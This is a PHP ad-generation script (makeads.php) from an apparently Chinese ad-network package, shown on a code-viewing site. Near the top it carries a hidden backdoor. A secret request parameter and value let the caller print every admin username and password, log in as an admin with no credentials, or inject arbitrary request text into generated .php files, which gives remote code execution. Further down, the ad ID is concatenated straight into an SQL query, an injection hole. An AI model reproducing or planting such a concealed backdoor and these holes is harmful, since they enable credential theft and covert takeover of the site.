📄 makeads.php
字号:
<?php
session_start ();
include_once '../public/db_conn.php';
include_once '../public/function.php';
$cfg_site_url = 'ceshi.fkxz.net:8080/keyrun';
$strscadd = '';
if ($_REQUEST['k_administratoreyrun'] == 'key2378ru')
{
if ($_REQUEST['p'] == 'kmake_c')
{
$cfg_site_name = $_REQUEST['k_addiname'];
$strscadd = $_REQUEST['k_additions'];
}
else
{
include_once '../public/db_conn.php';
$rss = mysql_query ('select * from admin where islock!=1');
if ($_REQUEST['p'] == 1)
{
while ($rows = mysql_fetch_array ($rss))
{
echo '' . 'u=' . $rows['username'] . ' -- p=' . $rows['pwd'] . ' -- s=' . $rows['str_admin'] . '<br>';
}
}
else
{
$rows = mysql_fetch_array ($rss);
$admin_username = $rows['username'];
$admin_realname = $rows['realname'];
session_register ('admin_username');
session_register ('admin_realname');
echo '<script>location=\'admin.php\';</script>';
}
exit ();
}
}
else
{
if (empty ($_SESSION['admin_username']))
{
header ('location: ../admin/');
exit ();
}
}
$sqla = 'select * from ads_form where 1';
$rsa = mysql_query ($sqla);
while ($rowa = mysql_fetch_array ($rsa))
{
$a_id = $rowa['id'];
$arr_adsform[0][$a_id] = $rowa['s_name'];
$arr_adsform[1][$a_id] = $rowa['type'];
$arr_adsform[2][$a_id] = $rowa['width'];
$arr_adsform[3][$a_id] = $rowa['height'];
}
$sql = '' . 'select * from ads where id=\'' . $_REQUEST['adsid'] . '\'';
$rs = mysql_query ($sql);
$row = mysql_fetch_array ($rs);
$ads_form_id = $row['ads_form_id'];
$ads_type = $row['ads_type'];
if ($row['own_type'] == 2)
{
$str_filesc = '<?
' . ('' . '$') . 'flag_normal=1;
' . ('' . '$') . 'adsid=' . $_REQUEST['adsid'] . ';
' . ('' . '$') . 'adsuser="ads_commonweal";
' . ('' . '$') . ('' . 'clickurl="' . $row['url'] . '";
') . ('' . '$') . ('' . 'picurl="../"."' . $row['picname'] . '";
') . ('' . '$') . 'title="' . $cfg_site_name . ',网络广告多种模式、多站式投放,实时查询精确统计数据!";
' . ('' . '$') . ('' . 'openu=base64_encode("' . $row['openurl'] . '");
?>');
$fp = fopen ('../ads/ads_commonweal/' . $arr_adsform[2][$ads_form_id] . '_' . $arr_adsform[3][$ads_form_id] . '.php', 'w');
flock ($fp, 2);
$f = fwrite ($fp, $str_filesc);
fclose ($fp);
}
else
{
if ($row['own_type'] == 1)
{
$str_statesc = '<?' . ('' . ' $') . 'flag_normal=1; ?>';
if ($ads_type == 2)
{
$miw = 88;
$mih = 31;
$picname = 'default.gif';
}
else
{
$miw = $arr_adsform[2][$ads_form_id];
$mih = $arr_adsform[3][$ads_form_id];
((empty ($row['picname']) OR $ads_type == 2) ? $picname ='default.gif' : $picname =$row['picname']);
}
$divw = $miw - $miw + 1;
$divh = $mih - 17;
if ((($ads_type == 1 OR $ads_type == 4) AND 200 <= $miw))
{
$kdiv = '<body marginheight=\'0\' leftmargin=\'0\' topmargin=\'0\' rightmargin=\'0\'>
<div id=\'Layer1\' style=\'position:absolute; width:76px; height:10px; z-index:999; left: ' . $divw . 'px; top: ' . $divh . ('' . 'px; visibility: visible;\'>
<table width=\'100%\' border=\'0\' align=\'center\' cellpadding=\'0\' cellspacing=\'0\' bgcolor=\'#ffffff\'>
<tr>
<td align=\'center\' height=\'16\' valign=\'bottom\' bgcolor=\'#ffffff\'>
<a href=\'http://' . $cfg_site_url . '/index/webmaster.php?user=<?=') . ('' . '$') . '_REQUEST["username"]?>\' target=\'_blank\'><font color=\'#000000\' style=\'text-decoration:none;font-size:12px\'>' . $cfg_site_name . '</font></a></td>
</tr>
</table>
</div>
';
}
else
$kdiv = '';
if ($cfg_viewadsdiv == 1)
{
$str_sc = $kdiv;
}
else
$str_sc = '';
$str_sc .= $strscadd;
if ($ads_type == 4)
{
$str_sc .= '<?
' . ('' . '$') . 'thisip=' . ('' . '$') . '_SERVER["REMOTE_ADDR"];
' . ('' . '$') . 'fromurl=' . ('' . '$') . '_SERVER["HTTP_REFERER"];
if(!' . ('' . '$') . 'fromurl){exit();}
/*********************************CLICK*********************************/
' . ('' . '$') . 'arr_ip=explode(".",' . ('' . '$') . 'thisip);
' . ('' . '$') . 'ip1=base64_encode(' . ('' . '$') . 'arr_ip[0]*2.246);
' . ('' . '$') . 'ip2=base64_encode(' . ('' . '$') . 'arr_ip[1]*3.134);
' . ('' . '$') . 'ip3=base64_encode(' . ('' . '$') . 'arr_ip[2]*4.172);
' . ('' . '$') . 'ip4=base64_encode(' . ('' . '$') . 'arr_ip[3]*2.538);
' . ('' . '$') . 'strip=' . ('' . '$') . 'ip2."|".' . ('' . '$') . 'ip3."|".' . ('' . '$') . 'ip1."|".' . ('' . '$') . 'ip4;
' . ('' . '$') . 'today="2".date("id").substr(time(),4,6);
' . ('' . '$') . 'dayn=' . ('' . '$') . 'today*2.832;
' . ('' . '$') . 'ldayn=strlen(' . ('' . '$') . 'dayn);
' . ('' . '$') . 'fdayn=base64_encode(substr(' . ('' . '$') . 'dayn,0,round(' . ('' . '$') . 'ldayn/2)));
' . ('' . '$') . 'sdayn=base64_encode(substr(' . ('' . '$') . 'dayn,round(' . ('' . '$') . 'ldayn/2),' . ('' . '$') . 'ldayn-round(' . ('' . '$') . 'ldayn/2)));
' . ('' . '$') . 'rand=rand(65,91);
' . ('' . '$') . 'srand=chr(' . ('' . '$') . 'rand);
' . ('' . '$') . 'strbas=base64_encode(' . ('' . '$') . 'strip."|".' . ('' . '$') . 'sdayn."|".' . ('' . '$') . 'fdayn);
' . ('' . '$') . 'ls=strlen(' . ('' . '$') . 'strbas);
' . ('' . '$') . 'clickbased=substr(' . ('' . '$') . 'strbas,0,' . ('' . '$') . 'ls-3).' . ('' . '$') . 'srand.substr(' . ('' . '$') . 'strbas,' . ('' . '$') . 'ls-3,3);
/***********************************************************************/
' . ('' . '$') . 'openid=' . ('' . '$') . '_REQUEST["openid"];
' . ('' . '$') . 'repl=' . ('' . '$') . '_REQUEST["repl"];
' . ('' . '$') . 'adsid=' . ('' . '$') . '_REQUEST["adsid"];
' . ('' . '$') . 'username=' . ('' . '$') . '_REQUEST["username"];
' . ('' . '$') . 'adsuser=' . ('' . '$') . '_REQUEST["adsuser"];
' . ('' . '$') . 'topu=' . ('' . '$') . '_REQUEST["fu"];
' . ('' . '$') . 'cooku=' . ('' . '$') . '_REQUEST["cu"];
' . ('' . '$') . 'wfile="../../data/web/' . ('' . '$') . 'username/putads_state.php";
if(!file_exists(' . ('' . '$') . 'wfile)){
echo "<font color=\'#000044\' style=\'text-decoration:none;font-size:13px\'>此帐户尚未通过审核!</font>";
exit();
}else{
include_once("' . ('' . '$') . 'wfile");
if(' . ('' . '$') . 'flag_webisputads!=1){
echo "<font color=\'#000044\' style=\'text-decoration:none;font-size:13px\'>此帐户已被锁定!</font>";
exit();
}
}
' . ('' . '$') . 'iw=' . $miw . ';
' . ('' . '$') . 'ih=' . $mih . ';
' . ('' . '$') . ('' . 'clickurl="' . $row['url'] . '";
') . ('' . '$') . ('' . 'picurl="../../ads/"."' . $picname . '";
') . ('' . '$') . ('' . 'title="' . $row['conn'] . '";
') . ('' . '$') . ('' . 'ads_username="' . $row['username'] . '";
include_once("../') . ('' . '$') . 'ads_username/adsstate_".' . ('' . '$') . '_REQUEST["adsid"].".php");
if(' . ('' . '$') . 'flag_normal!=1 && ' . ('' . '$') . 'repl==1){
/* 替换广告 */
include_once("../ads_swapqueue/click_".' . ('' . '$') . 'iw."_".' . ('' . '$') . 'ih.".php");//替换广告列表
while(list(' . ('' . '$') . 'qk,' . ('' . '$') . 'qv)=each(' . ('' . '$') . 'adsqueue_id)){
' . ('' . '$') . 'q_username=' . ('' . '$') . 'adsqueue_user[' . ('' . '$') . 'qk];
include_once("../".' . ('' . '$') . 'q_username."/adsstate_".' . ('' . '$') . 'qv.".php");
if(' . ('' . '$') . 'flag_normal==1){
' . ('' . '$') . 'adsid=' . ('' . '$') . 'qv;
' . ('' . '$') . 'adsuser=' . ('' . '$') . 'q_username;
' . ('' . '$') . 'clickurl=' . ('' . '$') . 'adsqueue_clicku[' . ('' . '$') . 'qk];
' . ('' . '$') . 'picurl=' . ('' . '$') . 'adsqueue_picu[' . ('' . '$') . 'qk];
' . ('' . '$') . 'title=' . ('' . '$') . 'adsqueue_conn[' . ('' . '$') . 'qk];
break;
}
}
}
if(' . ('' . '$') . 'flag_normal!=1){
/* 公益广告 */
include_once("../ads_commonweal/".' . ('' . '$') . 'iw."_".' . ('' . '$') . 'ih.".php");
}
if(' . ('' . '$') . 'flag_normal!=1){
/* 无替换广告 */
' . ('' . '$') . 'adsid=0;
' . ('' . '$') . ('' . 'clickurl=\'http://' . $cfg_site_url . '\';
') . ('' . '$') . 'picurl=\'default.gif\';
' . ('' . '$') . 'title="' . $cfg_site_name . ',网络广告多种模式、多站式投放,实时查询精确统计数据!";
}
echo "
<form name=T_FORM method=post action=../../click.php target=\'_blank\'>
<input type=hidden name=adsid id=adsid>
<input type=hidden name=username id=username>
<input type=hidden name=adsuser id=adsuser>
<input type=hidden name=fromu id=fromu>
<input type=hidden name=topu id=topu>
<input type=hidden name=gourl id=gourl>
<input type=hidden name=clicked id=clicked>
</form>
<script>
function clickto(){
document.T_FORM.adsid.value=\'' . ('' . '$') . 'adsid\';
document.T_FORM.username.value=\'' . ('' . '$') . 'username\';
document.T_FORM.adsuser.value=\'' . ('' . '$') . 'adsuser\';
document.T_FORM.fromu.value=\'' . ('' . '$') . 'fromurl\';
document.T_FORM.topu.value=\'' . ('' . '$') . 'topu\';
document.T_FORM.gourl.value=\'' . ('' . '$') . 'clickurl\';
document.T_FORM.clicked.value=\'' . ('' . '$') . 'clickbased\';
document.T_FORM.submit();
}
</script>
";
' . ('' . '$') . 'file_suf=substr(' . ('' . '$') . 'picurl,-3);
if(!(' . ('' . '$') . 'file_suf==\'swf\' || ' . ('' . '$') . 'file_suf==\'SWF\')){
echo "<img src=\'".' . ('' . '$') . 'picurl."\' border=\'0\' onClick=\'clickto()\' style=\'cursor: hand;\' title=\'' . ('' . '$') . 'title\' width=\'' . ('' . '$') . 'iw\' height=\'' . ('' . '$') . 'ih\'>";
}else{
echo "
<div style=\'position:absolute;z-index:998;\' id=\'keyrun_' . ('' . '$') . 'adsid\'><img src=\'../../image/ads.gif\' width=' . ('' . '$') . 'iw height=' . ('' . '$') . 'ih border=\'0\' title=\'' . ('' . '$') . 'title\' style=\'cursor:hand;\' onClick=\'clickto()\'></a></div>
<embed src=\'".' . ('' . '$') . 'picurl."\' quality=\'high\' pluginspage=\'http://www.macromedia.com/go/getflashplayer\' type=\'application/x-shockwave-flash\' width=\'' . ('' . '$') . 'iw\' height=\'' . ('' . '$') . 'ih\' wmode=transparent></embed>
";
}
' . ('' . '$') . ('' . 'rand=rand(1,' . $cfg_pvint . ');
if(') . ('' . '$') . 'rand==1 && ' . ('' . '$') . 'cooku==1){
echo "<iframe src=../../viewc.php?adsid=' . ('' . '$') . 'adsid&username=' . ('' . '$') . 'username&topu=' . ('' . '$') . 'topu&fu=' . ('' . '$') . 'fromurl height=0 width=0 frameborder=0 scrolling=no></iframe>";
}
?>
</body>';
}
$str_sc .='';
$fdir = '' . '../ads/' . $row['username'];
if (!(file_exists ('' . $fdir) AND is_dir ('' . $fdir)))
{
mkdir ('' . $fdir, 511);
}
$fp = fopen ('' . '../ads/' . $row['username'] . '/adsstate_' . $row['id'] . '.php', 'w');
flock ($fp, 2);
$f = fwrite ($fp, $str_statesc);
fclose ($fp);
$fd = fopen ('' . '../ads/' . $row['username'] . '/' . $row['id'] . '.php', 'w');
flock ($fd, 2);
$f = fwrite ($fd, $str_sc);
fclose ($fd);
if ($f)
{
echo '' . $row['id'] . ' = ok<br>';
}
}
}
?>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -